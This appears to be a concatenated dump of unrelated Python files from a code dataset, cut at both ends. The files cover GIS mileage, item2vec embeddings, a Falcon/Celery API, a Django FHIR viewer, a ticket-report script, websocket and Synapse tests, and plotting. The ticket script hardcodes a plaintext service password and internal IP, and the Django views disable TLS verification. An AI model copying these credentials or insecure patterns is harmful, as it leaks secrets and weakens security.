Field...\")\narcpy.AddMessage(\"Adding Field TTL_MILES to %s...\" % Final_FC_Roads_by_Districts)\narcpy.AddField_management(Final_FC_Roads_by_Districts, \"TTL_MILES\", \"FLOAT\", \"9\", \"4\", \"\", \"\", \"NON_NULLABLE\", \"NON_REQUIRED\")\narcpy.AddMessage(\"Field add complete\\n\")\narcpy.SetProgressorPosition()\n\narcpy.SetProgressorLabel(\"Calculating Field...\")\narcpy.AddMessage(\"Calculating Total Length in Miles for field TTL_MILES in\\n%s\" % Final_FC_Roads_by_MPO)\narcpy.CalculateField_management(Final_FC_Roads_by_MPO, \"TTL_MILES\", \"!shape.length@miles!\", \"PYTHON_9.3\")\narcpy.AddMessage(\"%s - Done!\\n\" % Final_FC_Roads_by_MPO)\narcpy.SetProgressorPosition()\n\narcpy.SetProgressorLabel(\"Calculating Field...\")\narcpy.AddMessage(\"Calculating Total Length in Miles for field TTL_MILES in\\n%s\" % Final_FC_Roads_by_Districts)\narcpy.CalculateField_management(Final_FC_Roads_by_Districts, \"TTL_MILES\", \"!shape.length@miles!\", \"PYTHON_9.3\")\narcpy.AddMessage(\"%s - Done!\\n\" % Final_FC_Roads_by_Districts)\narcpy.ResetProgressor()","sub_path":"standalone/Mileage By Functional Class.py","file_name":"Mileage By Functional Class.py","file_ext":"py","file_size_in_byte":4435,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"325097476","text":"# -*- coding: utf-8 -*-\nimport numpy as np\nimport tensorflow as tf\nfrom matplotlib import pyplot as plt\nfrom itertools import combinations\nfrom collections import deque\n\nclass BatchGenerator(object):\n\n def __init__(self, batch_size, data):\n self.batch_size = batch_size\n self.data = data\n self.ix = 0\n self.buffer = deque([])\n self._finish = False\n\n def next(self):\n if self._finish:\n return 'No data!'\n\n while len(self.buffer) < self.batch_size:\n items_list = self.data[self.ix]\n self.buffer.extend(combinations(items_list, 2))\n\n if self.ix == len(self.data) - 1:\n self._finish = True\n self.ix = 0\n else:\n self.ix += 1\n d = [self.buffer.popleft() for _ in range(self.batch_size)]\n\n d = np.array([[i[0], i[1]] for i in d])\n batch = d[:, 0]\n labels = d[:, 1]\n\n return batch, labels\n\n @property\n def finish(self):\n return self._finish\n\n def resume(self):\n\n self.ix = 0\n self._finish = False\n\n @property\n def current_percentage(self):\n return (self.ix / self.data.shape[0]) * 100\n\nclass Item2Vec(object):\n def __init__(self, processor, embedding_size, num_negatives, learning_rate, batch_size, epochs=10, step=0, save_path=None):\n self.vocab_size = len(processor.item_list)\n self.embed_dim = embedding_size\n self.num_negatives = num_negatives\n self.learning_rate = learning_rate\n self.batch_size = batch_size\n self.epochs = epochs\n self.save_path = save_path\n self.step = step\n\n self.item_counts = processor.item_counts\n self.train_loss = []\n\n self._init_graphs()\n\n def _init_graphs(self):\n self.graph = tf.Graph()\n with self.graph.as_default():\n self.batch = tf.placeholder(dtype=tf.int32, shape=[self.batch_size])\n self.labels = tf.placeholder(dtype=tf.int32, shape=[self.batch_size])\n true_logits, sampled_logits = self.forward(self.batch, self.labels)\n self.loss = self.nce_loss(true_logits, sampled_logits)\n self.train_op = self.optimize(self.loss)\n\n self.saver = tf.train.Saver()\n init = tf.global_variables_initializer()\n self.sess = tf.Session()\n self.sess.run(init)\n\n def forward(self, batch, labels):\n\n init_width = 0.5 / self.embed_dim\n embed = tf.Variable(tf.random_uniform([self.vocab_size, self.embed_dim], -init_width, init_width), name='word_embedding')\n self.embed = embed\n\n softmax_w = tf.Variable(tf.zeros([self.vocab_size, self.embed_dim]), name=\"softmax_weights\")\n softmax_b = tf.Variable(tf.zeros([self.vocab_size]), name=\"softmax_bias\")\n\n labels_matrix = tf.reshape(tf.cast(labels, dtype=tf.int64), [self.batch_size, 1])\n\n # Negative sampling\n sampled_ids, _, _ = tf.nn.fixed_unigram_candidate_sampler(\n true_classes=labels_matrix,\n num_true=1,\n num_sampled=self.num_negatives,\n unique=True,\n range_max=self.vocab_size,\n distortion=0.75,\n unigrams=self.item_counts)\n\n # Embeddings for examples: [batch_size, embed_dim]\n example_emb = tf.nn.embedding_lookup(embed, batch)\n\n # Weights for labels: [batch_size, embed_dim]\n true_w = tf.nn.embedding_lookup(softmax_w, labels)\n # Biases for labels: [batch_size, 1]\n true_b = tf.nn.embedding_lookup(softmax_b, labels)\n\n # Weights for sampled ids: [batch_size, embed_dim]\n sampled_w = tf.nn.embedding_lookup(softmax_w, sampled_ids)\n # Biases for sampled ids: [batch_size, 1]\n sampled_b = tf.nn.embedding_lookup(softmax_b, sampled_ids)\n\n # True logits: [batch_size, 1]\n true_logits = tf.reduce_sum(tf.multiply(example_emb, true_w), 1) + true_b\n\n # Sampled logits: [batch_size, num_sampled]\n sampled_b_vec = tf.reshape(sampled_b, [self.num_negatives])\n sampled_logits = tf.matmul(example_emb, sampled_w, transpose_b=True) + sampled_b_vec\n\n return true_logits, sampled_logits\n\n def nce_loss(self, true_logits, sampled_logits):\n true_xent = tf.nn.sigmoid_cross_entropy_with_logits(\n labels=tf.ones_like(true_logits), logits=true_logits)\n\n sampled_xent = tf.nn.sigmoid_cross_entropy_with_logits(\n labels=tf.zeros_like(sampled_logits), logits=sampled_logits)\n\n nce_loss_tensor = (tf.reduce_sum(true_xent) +\n tf.reduce_sum(sampled_xent)) / self.batch_size\n\n return nce_loss_tensor\n\n def optimize(self, loss):\n optimizer = tf.train.GradientDescentOptimizer(self.learning_rate)\n train_op = optimizer.minimize(loss)\n\n return train_op\n\n @property\n def embeddings(self):\n return self.embed.eval(session=self.sess)\n\n def get_factors(self, embeddings, item_index_data):\n embedding_size = embeddings.shape[1]\n\n factors = []\n\n for i in item_index_data:\n if len(i) == 0:\n factors.append(list(np.full(embedding_size, 0)))\n else:\n factors.append(list(np.mean(embeddings[i], axis=0)))\n\n return np.array(factors)\n\n def get_norms(self, e):\n norms = np.linalg.norm(e, axis=-1)\n norms[norms == 0] = 1e-10\n return norms\n\n def calu_similar(self, embeddings, queryid, norms, N):\n scores = embeddings.dot(embeddings[queryid]) / norms\n best = np.argpartition(scores, -N)[-N:]\n return sorted(zip(best, scores[best] / norms[queryid]), key=lambda x: -x[1])\n\n def similar_items(self, embeddings, item_index_data, queyid, N=10):\n\n e = self.get_factors(embeddings, item_index_data)\n norms = self.get_norms(e)\n result = []\n for index, score in self.calu_similar(e, queyid, norms, N):\n result.append((index, score))\n\n return result\n\n def fit(self, item_index_data):\n avg_loss = 0\n\n for epoch in range(self.epochs):\n print(\"epoch: {}\".format(epoch))\n generator = BatchGenerator(self.batch_size, item_index_data)\n loss_list = []\n while not generator.finish:\n batch, labels = generator.next()\n feed_dict = {self.batch: batch, self.labels: labels}\n _, loss = self.sess.run([self.train_op, self.loss], feed_dict=feed_dict)\n\n loss_list.append(loss)\n self.step += 1\n print(\"step: {}, loss: {:.9f}\".format(self.step, loss))\n self.train_loss.append(np.mean(loss_list))\n self.embed = self.embeddings\n\n def predict(self, item_index_data, queyid, top_N=10):\n \"\"\"\"\"\"\n return self.similar_items(self.embed, item_index_data, queyid, N=top_N)\n\n\nif __name__ == '__main__':\n from item2vec.utils.movie_process import MovieProcessor\n config = {\n \"embedding_size\": 8,\n \"num_negatives\": 30,\n \"learning_rate\": 0.5,\n \"batch_size\": 64,\n \"epochs\": 50,\n \"step\": 0,\n \"save_path\": \"result/\",\n }\n processor = MovieProcessor()\n config['processor'] = processor\n model = Item2Vec(**config)\n model.fit(processor.item_index_data)\n result = model.predict(processor.item_index_data, 10)\n xs = np.arange(1, config['epochs'] + 1)\n plt.plot(xs, model.train_loss, color='red', linestyle=\"solid\", marker=\"o\")\n\n plt.xlabel(\"Epoch\")\n plt.ylabel(\"loss\")\n plt.title(\"item2vec\")\n plt.legend(['train-loss'])\n plt.show()\n print(result)\n # generator = BatchGenerator(32, processor.item_index_data)\n # while not generator.finish:\n # batch, labels = generator.next()\n # print(batch, labels)\n","sub_path":"src/item2vec/movie_item2vec.py","file_name":"movie_item2vec.py","file_ext":"py","file_size_in_byte":7869,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"153131082","text":"import falcon\nfrom tasks import app, long_task\nfrom celery.result import AsyncResult\n\n\nclass QuoteResource:\n def on_get(self, req, resp):\n \"\"\"Handles GET requests\"\"\"\n quote = {\n 'quote': (\n \"I've always been more interested in \"\n \"the future than in the past.\"\n ),\n 'author': 'Grace Hopper - Alejandro'\n }\n resp.media = quote\n\n\nclass TaskResource:\n def on_get(self, req, res):\n t = long_task.delay(2, 3)\n res.status = falcon.HTTP_200\n res.media = {'task_id': t.id}\n\n\nclass TaskStatus:\n def on_get(self, req, res, task_id):\n task_result = AsyncResult(task_id)\n result = {\n 'status': task_result.status,\n 'result': task_result.result\n }\n res.status = falcon.HTTP_200\n res.media = result\n\n\nclass TasksResource:\n def on_get(self, req, res):\n # http://docs.celeryproject.org/en/latest/userguide/workers.html?highlight=revoke#inspecting-workers\n curr = app.control.inspect(['celery@fsociety-ubuntu'])\n res.status = falcon.HTTP_200\n res.media = curr.active()\n\n\napi = falcon.API()\napi.add_route('/quote', QuoteResource())\napi.add_route('/start', TaskResource())\napi.add_route('/task/{task_id}/status', TaskStatus())\napi.add_route('/tasks', TasksResource())\n","sub_path":"src/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1358,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"500387359","text":"from django.shortcuts import render , get_object_or_404\nfrom operator import itemgetter\nimport requests\nimport json\nimport adal\nfrom django.http import JsonResponse\nfrom django.core.paginator import Paginator\n\n\n#Function to extract patient data based on id,all patients\npid=\"\"\nTOKEN=\"\"\nencounter_id=\"\"\nobservation_id=\"\"\nurl=\"\"\nResource=\"\"\ndef home(request):\n # oauth 2.0 --FHIR SERVER AUTHORIZATION\n # Opening JSON file\n f = open('app/credentials.json')\n data = json.load(f)\n TENANT_ID = data.get('TENANT_ID')\n CLIENT = data.get('CLIENT_ID')\n KEY = data.get('CLIENT_SECRET')\n authority_url = 'https://login.microsoftonline.com/' + TENANT_ID\n global Resource\n Resource=data.get('RESOURCE_ID')\n context = adal.AuthenticationContext(authority_url)\n global token\n token = context.acquire_token_with_client_credentials(\n resource=Resource,\n client_id=CLIENT,\n client_secret=KEY)\n global TOKEN\n TOKEN = token[\"accessToken\"]\n\n # Get Patient by id\n if request.method == \"POST\":\n lst = []\n global pid\n pid = request.POST.get('ID', '')\n url = Resource+\"/Patient/{}\".format(pid)\n newHeaders = {'Content-type': 'application/json',\"Authorization\": \"Bearer %s\" %TOKEN}\n response = requests.get(url, headers=newHeaders,verify=False)\n data = response.json()\n if response.ok:\n l = []\n resourceType = data['resourceType']\n l.append(resourceType)\n\n id = data['id']\n l.append(id)\n\n try:\n birth = data['birthDate']\n except:\n birth = \"No data available\"\n l.append(birth)\n\n try:\n gender = data['gender']\n except:\n gender = \"No data available\"\n l.append(gender)\n\n try:\n name = data['name'][0]['family']\n except:\n name = \"No data available\"\n l.append(name)\n\n try:\n address = data['address'][0]['city']\n except:\n address = \"No data available\"\n l.append(address)\n lst.append(l)\n param = {'param': lst,\"id\":pid}\n return render(request, 'app/home.html', param)\n #all patients\n elif request.method == 'GET':\n url = Resource+\"/Patient?_count=20\"\n newHeaders = {'Content-type': 'application/json', \"Authorization\": \"Bearer %s\" %TOKEN}\n response = requests.get(url, headers=newHeaders, verify=False)\n data = response.json()\n lst = []\n # next_pge_url = response.json()['link'][0].get('url')\n key_to_lookup = 'entry'\n if key_to_lookup in data:\n entry = data['entry']\n for all_data in entry:\n l = []\n resourceType = all_data['resource']['resourceType']\n l.append(resourceType)\n\n id = all_data['resource']['id']\n l.append(id)\n\n try:\n birth = all_data['resource']['birthDate']\n except:\n birth = \"No data available\"\n l.append(birth)\n\n try:\n gender = all_data['resource']['gender']\n except:\n gender = \"No data available\"\n l.append(gender)\n\n try:\n name = all_data['resource']['name'][0]['family']\n except:\n name = \"No data available\"\n l.append(name)\n\n try:\n address = all_data['resource']['address'][0]['city']\n except:\n address = \"No data available\"\n l.append(address)\n\n lst.append(l)\n param = {'param':lst}\n return render(request, 'app/home.html', param)\n else:\n l = []\n resourceType =\"No data found\"\n l.append(resourceType)\n\n id = \"No data found\"\n l.append(id)\n\n birth = \"No data found\"\n l.append(birth)\n\n gender = \"No data found\"\n l.append(gender)\n\n name = \"No data found\"\n l.append(name)\n\n address = \"No data found\"\n l.append(address)\n\n lst.append(l)\n param = {'param':lst}\n return render(request, 'app/home.html', param)\n\ndef observation(request):\n lst = []\n id = pid\n if id is None:\n obsparam = {'obsparam': \"No patient id found\"}\n return render(request, 'app/home.html', obsparam)\n else:\n url = Resource+\"/Observation?patient={}\".format(id)\n newHeaders = {'Content-type': 'application/json', \"Authorization\": \"Bearer %s\" %TOKEN}\n response = requests.get(url, headers=newHeaders,verify=False)\n if response.ok:\n data = response.json()\n if 'entry' not in data.keys():\n print(\"NO Observation available\")\n else:\n entry = data['entry']\n for all_data in entry:\n l = []\n resourceType = all_data['resource']['resourceType']\n l.append(resourceType)\n\n id = all_data['resource']['id']\n global observation_id\n observation_id = id\n l.append(id)\n\n try:\n reference = all_data['resource']['subject'].get('reference')\n except:\n reference = \"No data available\"\n l.append(reference)\n\n try:\n display = all_data['resource']['code']['coding'][0].get('display')\n except:\n display = \"No data available\"\n l.append(display)\n\n try:\n res = list(map(itemgetter('coding'), all_data['resource']['category']))\n category = res[0][0]['display']\n except:\n category = \"No data available\"\n l.append(category)\n\n try:\n v1 = all_data['resource']['valueQuantity'].get('value')\n v2 = all_data['resource']['valueQuantity'].get('unit')\n value = str(v1) + \" \" + str(v2)\n except:\n value = \"No data available\"\n l.append(value)\n lst.append(l)\n obsparam = {'obsparam': lst,'observation_id':observation_id}\n return render(request, 'app/home.html', obsparam)\n\ndef encounter(request):\n lst = []\n if pid is None:\n obsparam = {'obsparam': \"No patient id found\"}\n return render(request, 'app/home.html', obsparam)\n else:\n url = Resource+\"/Encounter?patient={}\".format(pid)\n newHeaders = {'Content-type': 'application/json', \"Authorization\": \"Bearer %s\" % TOKEN}\n response = requests.get(url, headers=newHeaders,verify=False)\n if response.ok:\n data = response.json()\n if 'entry' not in data.keys():\n print(\"NO Encounter available\")\n else:\n entry = data['entry']\n for all_data in entry:\n l = []\n try:\n resourceType = all_data['resource']['resourceType']\n except:\n resourceType = \"No data available\"\n l.append(resourceType)\n\n try:\n id = all_data['resource']['id']\n global encounter_id\n encounter_id=id\n except:\n id = \"No data available\"\n l.append(id)\n\n try:\n priority = all_data['resource']['priority']['coding'][0]['display']\n except:\n priority = \"No data available\"\n l.append(priority)\n\n try:\n reason = list(map(itemgetter('coding'), all_data['resource']['reasonCode']))\n reasonCode = reason[0][0]['display']\n except:\n reasonCode = \"No data available\"\n l.append(reasonCode)\n\n try:\n admitSource = all_data['resource']['hospitalization']['admitSource']['coding'][0]['display']\n except:\n admitSource = \"No data available\"\n l.append(admitSource)\n\n try:\n serviceProvider = all_data['resource']['serviceProvider'].get('reference')\n except:\n serviceProvider = \"No data available\"\n l.append(serviceProvider)\n\n lst.append(l)\n encounter_param = {'encounter_param': lst,'encounter_id':encounter_id}\n return render(request, 'app/home.html', encounter_param)\n\ndef jsonviewPatient(request,id):\n id = str(id)\n url = Resource+\"/Patient/{}\".format(id)\n newHeaders = {'Content-type': 'application/json', \"Authorization\": \"Bearer %s\" % TOKEN}\n response = requests.get(url, headers=newHeaders,verify=False)\n if response.ok:\n json_data = response.json()\n # json_formatted_patient= json.dumps(json_data, sort_keys = True, indent = 4)\n # param = {'param':json_formatted_patient}\n return JsonResponse(json_data,content_type='application/json')\n\ndef jsonviewObservation(request,id):\n id = str(id)\n url = Resource+\"/Observation/{}\".format(id)\n newHeaders = {'Content-type': 'application/json', \"Authorization\": \"Bearer %s\" % TOKEN}\n response = requests.get(url, headers=newHeaders,verify=False)\n if response.ok:\n json_data = response.json()\n # json_formated_observation=json.dumps(json_data, sort_keys = True, indent = 4)\n # param = {'param':json_formated_observation}\n # return render(request,'app/jsondata.html',param)\n return JsonResponse(json_data,content_type='application/json')\n\ndef jsonviewEncounter(request,id):\n id = str(id)\n url = Resource+\"/Encounter/{}\".format(id)\n newHeaders = {'Content-type': 'application/json', \"Authorization\": \"Bearer %s\" % TOKEN}\n response = requests.get(url, headers=newHeaders,verify=False)\n if response.ok:\n json_data = response.json()\n # json_formated_encounter=json.dumps(json_data, sort_keys = True, indent = 4)\n # param = {'param':json_formated_encounter}\n # return render(request,'app/jsondata.html',param)\n return JsonResponse(json_data,content_type='application/json')\n\ndef url(request):\n if request.method == \"POST\":\n json_data=''\n url = request.POST.get('URL', '')\n newHeaders = {'Content-type': 'application/json',\"Authorization\": \"Bearer %s\" %TOKEN}\n response = requests.get(Resource+\"/\"+url, headers=newHeaders,verify=False)\n if response.ok:\n json_data = response.json()\n return JsonResponse(json_data,content_type='application/json',safe=False)\n\ndef error_404_view(request,exception):\n return render(request,'app/404.html')\n","sub_path":"app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":11345,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"130376043","text":"# encoding: utf-8\nimport requests, simplejson\nfrom service.ticket.ticket_base_service import TicketBaseService\n\nmcenter_ip = \"10.254.50.54\"\nmcenter_port = \"30042\"\nusername = 'zabbix'\npassword = 'cernet@123'\n\nticket_project_url = 'http://%s:%s/work/ticket-project-count/' % (mcenter_ip, mcenter_port)\nticket_date_url = 'http://%s:%s/work/ticket-date-count/' % (mcenter_ip, mcenter_port)\nticket_list_url = 'http://%s:%s/work/ticketslist/' % (mcenter_ip, mcenter_port)\ntry:\n get_token = requests.post(\n 'http://%s:%s/api-token-auth/' % (mcenter_ip, mcenter_port),\n data={\"username\": username, \"password\": password},\n ).json()\nexcept:\n print(\"Can not connect url:http://%s:%s/api-token-auth/\" % (mcenter_ip, mcenter_port))\n\ntry:\n token = get_token['token']\nexcept:\n print(get_token)\nheaders = {\n 'Authorization': 'JWT ' + token,\n \"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36\",\n}\nfield_list, flag = TicketBaseService.get_ticket_base_field_list(ticket_id)\nparams = {}\nfor i in field_list:\n if i['field_key'] == 'start_time':\n params['start_time'] = str(i['field_value'])\n elif i['field_key'] == 'end_time':\n params['end_time'] = str(i['field_value'])\n elif i['field_key'] == 'to_project_id':\n params['to_project'] = str(i['field_value'])\n\nticket_project = requests.get(ticket_project_url, params=params, headers=headers).json()\nticket_date = requests.get(ticket_date_url, params=params, headers=headers).json()\n\npost_data = {\n 'search': [\n {\n 'key': 'gmt_created',\n 'action': 'gte',\n 'value': params['start_time']\n },\n {\n 'key': 'gmt_created',\n 'action': 'lte',\n 'value': params['end_time']\n },\n {\n 'key': 'to_project_id',\n 'action': 'eq',\n 'value': params['to_project']\n },\n ],\n 'page': 1,\n 'page_size': 100000,\n}\nheaders['Content-Type'] = 'application/json'\nticket_mc = requests.post(ticket_list_url, data=simplejson.dumps(post_data), headers=headers).json()\nticket_list = []\nfor i in ticket_mc['results']:\n ticket_list.append({\n 'title': i['title'],\n 'ticket_id': i['ticket_id'],\n 'workflow_name': i['workflow_name'],\n 'creator': i['creator'],\n 'gmt_created': i['gmt_created'].replace('T', ' ')\n })\n\nticket_table_list = {\n 'columns': [\n {\n 'tooltip': True,\n 'title': '标题',\n 'key': 'title',\n 'width': 300,\n 'align': 'left',\n 'sortable': True\n },\n {\n 'title': '工作流名称',\n 'key': 'workflow_name',\n 'align': 'center',\n 'sortable': True\n },\n {\n 'title': '创建人',\n 'key': 'creator',\n 'align': 'center',\n 'sortable': True\n },\n {\n 'title': '创建时间',\n 'key': 'gmt_created',\n 'align': 'center',\n },\n ],\n 'data': ticket_list,\n}\n\nres_list = {\n 'ticket_project': ticket_project,\n 'ticket_date': ticket_date,\n 'ticket_table_list': ticket_table_list\n}\nTicketBaseService.update_ticket_custom_field(ticket_id,{\"report_forms\": str(res_list)})\ntry:\n requests.patch('http://%s:%s/report/changeticketfield/%s/' % (mcenter_ip, mcenter_port, ticket_id),data=simplejson.dumps({'state_name':'结束'}), headers=headers)\n a = requests.patch('http://%s:%s/report/changeticketstate/%s/' % (mcenter_ip, mcenter_port, ticket_id),data=simplejson.dumps({\"state_id\": 10057}), headers=headers).json()\n print(a)\nexcept:\n pass\ntry:\n requests.patch('http://%s:%s/work/changeticketfield/%s/' % (mcenter_ip, mcenter_port, ticket_id),data=simplejson.dumps({'state_name':'结束'}), headers=headers)\n a = requests.patch('http://%s:%s/work/changeticketstate/%s/' % (mcenter_ip, mcenter_port, ticket_id),data=simplejson.dumps({\"state_id\": 10057}), headers=headers).json()\n print(a)\nexcept:\n pass\n\n\n","sub_path":"media/workflow_script/ticket_count.py","file_name":"ticket_count.py","file_ext":"py","file_size_in_byte":4107,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"534110935","text":"# uncompyle6 version 3.7.4\n# Python bytecode 2.7 (62211)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: build/bdist.linux-x86_64/egg/autobahntestsuite/case/case2_9.py\n# Compiled at: 2018-12-17 11:51:20\nfrom case import Case\n\nclass Case2_9(Case):\n DESCRIPTION = 'Send unsolicited pong with payload. Send ping with payload. Verify pong for ping is received.'\n EXPECTATION = \"Nothing in reply to own Pong, but Pong with payload echo'ed in reply to Ping. Clean close with normal code.\"\n\n def onOpen(self):\n payload = 'ping payload'\n self.expected[Case.OK] = [('pong', payload)]\n self.expectedClose = {'closedByMe': True, 'closeCode': [self.p.CLOSE_STATUS_CODE_NORMAL], 'requireClean': True}\n self.p.sendFrame(opcode=10, payload='unsolicited pong payload')\n self.p.sendFrame(opcode=9, payload=payload)\n self.p.closeAfter(1)","sub_path":"pycfiles/autobahntestsuite-0.8.1-py2.7/case2_9.py","file_name":"case2_9.py","file_ext":"py","file_size_in_byte":924,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"211339348","text":"# -*- coding: utf-8 -*-\n# Copyright 2014-2016 OpenMarket Ltd\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n\nfrom mock import Mock, NonCallableMock\n\nfrom twisted.internet import defer\n\nimport synapse.types\nfrom synapse.api.errors import AuthError, SynapseError\nfrom synapse.handlers.profile import MasterProfileHandler\nfrom synapse.types import UserID\n\nfrom tests import unittest\nfrom tests.utils import setup_test_homeserver\n\n\nclass ProfileHandlers(object):\n def __init__(self, hs):\n self.profile_handler = MasterProfileHandler(hs)\n\n\nclass ProfileTestCase(unittest.TestCase):\n \"\"\" Tests profile management. \"\"\"\n\n @defer.inlineCallbacks\n def setUp(self):\n self.mock_federation = Mock()\n self.mock_registry = Mock()\n\n self.query_handlers = {}\n\n def register_query_handler(query_type, handler):\n self.query_handlers[query_type] = handler\n\n self.mock_registry.register_query_handler = register_query_handler\n\n hs = yield setup_test_homeserver(\n self.addCleanup,\n http_client=None,\n handlers=None,\n resource_for_federation=Mock(),\n federation_client=self.mock_federation,\n federation_server=Mock(),\n federation_registry=self.mock_registry,\n ratelimiter=NonCallableMock(spec_set=[\"can_do_action\"]),\n )\n\n self.ratelimiter = hs.get_ratelimiter()\n self.ratelimiter.can_do_action.return_value = (True, 0)\n\n self.store = hs.get_datastore()\n\n self.frank = UserID.from_string(\"@1234ABCD:test\")\n self.bob = UserID.from_string(\"@4567:test\")\n self.alice = UserID.from_string(\"@alice:remote\")\n\n yield self.store.create_profile(self.frank.localpart)\n\n self.handler = hs.get_profile_handler()\n self.hs = hs\n\n @defer.inlineCallbacks\n def test_get_my_name(self):\n yield self.store.set_profile_displayname(self.frank.localpart, \"Frank\")\n\n displayname = yield self.handler.get_displayname(self.frank)\n\n self.assertEquals(\"Frank\", displayname)\n\n @defer.inlineCallbacks\n def test_set_my_name(self):\n yield defer.ensureDeferred(\n self.handler.set_displayname(\n self.frank, synapse.types.create_requester(self.frank), \"Frank Jr.\"\n )\n )\n\n self.assertEquals(\n (\n yield defer.ensureDeferred(\n self.store.get_profile_displayname(self.frank.localpart)\n )\n ),\n \"Frank Jr.\",\n )\n\n # Set displayname again\n yield defer.ensureDeferred(\n self.handler.set_displayname(\n self.frank, synapse.types.create_requester(self.frank), \"Frank\"\n )\n )\n\n self.assertEquals(\n (yield self.store.get_profile_displayname(self.frank.localpart)), \"Frank\",\n )\n\n @defer.inlineCallbacks\n def test_set_my_name_if_disabled(self):\n self.hs.config.enable_set_displayname = False\n\n # Setting displayname for the first time is allowed\n yield self.store.set_profile_displayname(self.frank.localpart, \"Frank\")\n\n self.assertEquals(\n (yield self.store.get_profile_displayname(self.frank.localpart)), \"Frank\",\n )\n\n # Setting displayname a second time is forbidden\n d = defer.ensureDeferred(\n self.handler.set_displayname(\n self.frank, synapse.types.create_requester(self.frank), \"Frank Jr.\"\n )\n )\n\n yield self.assertFailure(d, SynapseError)\n\n @defer.inlineCallbacks\n def test_set_my_name_noauth(self):\n d = defer.ensureDeferred(\n self.handler.set_displayname(\n self.frank, synapse.types.create_requester(self.bob), \"Frank Jr.\"\n )\n )\n\n yield self.assertFailure(d, AuthError)\n\n @defer.inlineCallbacks\n def test_get_other_name(self):\n self.mock_federation.make_query.return_value = defer.succeed(\n {\"displayname\": \"Alice\"}\n )\n\n displayname = yield self.handler.get_displayname(self.alice)\n\n self.assertEquals(displayname, \"Alice\")\n self.mock_federation.make_query.assert_called_with(\n destination=\"remote\",\n query_type=\"profile\",\n args={\"user_id\": \"@alice:remote\", \"field\": \"displayname\"},\n ignore_backoff=True,\n )\n\n @defer.inlineCallbacks\n def test_incoming_fed_query(self):\n yield self.store.create_profile(\"caroline\")\n yield self.store.set_profile_displayname(\"caroline\", \"Caroline\")\n\n response = yield self.query_handlers[\"profile\"](\n {\"user_id\": \"@caroline:test\", \"field\": \"displayname\"}\n )\n\n self.assertEquals({\"displayname\": \"Caroline\"}, response)\n\n @defer.inlineCallbacks\n def test_get_my_avatar(self):\n yield self.store.set_profile_avatar_url(\n self.frank.localpart, \"http://my.server/me.png\"\n )\n\n avatar_url = yield self.handler.get_avatar_url(self.frank)\n\n self.assertEquals(\"http://my.server/me.png\", avatar_url)\n\n @defer.inlineCallbacks\n def test_set_my_avatar(self):\n yield defer.ensureDeferred(\n self.handler.set_avatar_url(\n self.frank,\n synapse.types.create_requester(self.frank),\n \"http://my.server/pic.gif\",\n )\n )\n\n self.assertEquals(\n (yield self.store.get_profile_avatar_url(self.frank.localpart)),\n \"http://my.server/pic.gif\",\n )\n\n # Set avatar again\n yield defer.ensureDeferred(\n self.handler.set_avatar_url(\n self.frank,\n synapse.types.create_requester(self.frank),\n \"http://my.server/me.png\",\n )\n )\n\n self.assertEquals(\n (yield self.store.get_profile_avatar_url(self.frank.localpart)),\n \"http://my.server/me.png\",\n )\n\n @defer.inlineCallbacks\n def test_set_my_avatar_if_disabled(self):\n self.hs.config.enable_set_avatar_url = False\n\n # Setting displayname for the first time is allowed\n yield self.store.set_profile_avatar_url(\n self.frank.localpart, \"http://my.server/me.png\"\n )\n\n self.assertEquals(\n (yield self.store.get_profile_avatar_url(self.frank.localpart)),\n \"http://my.server/me.png\",\n )\n\n # Set avatar a second time is forbidden\n d = defer.ensureDeferred(\n self.handler.set_avatar_url(\n self.frank,\n synapse.types.create_requester(self.frank),\n \"http://my.server/pic.gif\",\n )\n )\n\n yield self.assertFailure(d, SynapseError)\n","sub_path":"tests/handlers/test_profile.py","file_name":"test_profile.py","file_ext":"py","file_size_in_byte":7281,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"455642405","text":"#!/ccs/proj/geo112/hzfmer/summit/opt/anaconda3/bin/python\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom scipy.signal import butter, sosfilt, sosfiltfilt\nfrom scipy.fftpack import fft\nimport os\nfrom filter_BU import filt_B\nfrom read_params import read_params\n\n\nplt.tight_layout()\nrcparams = {'font.size': 16,\n 'xtick.labelsize': 10,\n 'ytick.labelsize': 10,\n 'legend.fontsize': 10,\n 'axes.titlesize': 16,\n 'axes.labelsize': 14,\n 'lines.linewidth': 2}\nplt.rcParams.update(rcparams)\n\n\nargs = read_params()\n\nntskp, wstep = args['NTISKP'], args['WRITE_STEP']\nskip = wstep * ntskp\ndt = args['DT']\nnt = np.int(args['TMAX'] / dt)\nt = np.linspace(0, nt * dt, nt // ntskp)\nnx, ny, nz = args['X'], args['Y'], args['Z']\nbase_x = args['SXRGO'].strip('\\'')\nbase_y = args['SYRGO'].strip('\\'')\nbase_z = args['SZRGO'].strip('\\'')\nout_dir = base_x.strip('/')[0]\nprint(base_x, type(base_x))\n\n\nN = 4\n# np.random.seed()\nix = np.random.randint(nx, size=N)\niy = np.random.randint(ny, size=N)\nvx = np.zeros((N, nt // ntskp))\nfor i in range(1, nt // skip):\n print(\"i=\", i)\n idx = np.arange((i - 1) * wstep, i * wstep)\n v = np.fromfile(base_x + f'{i * skip:07d}', dtype='f').reshape(-1, ny, nx)\n for j in range(N):\n 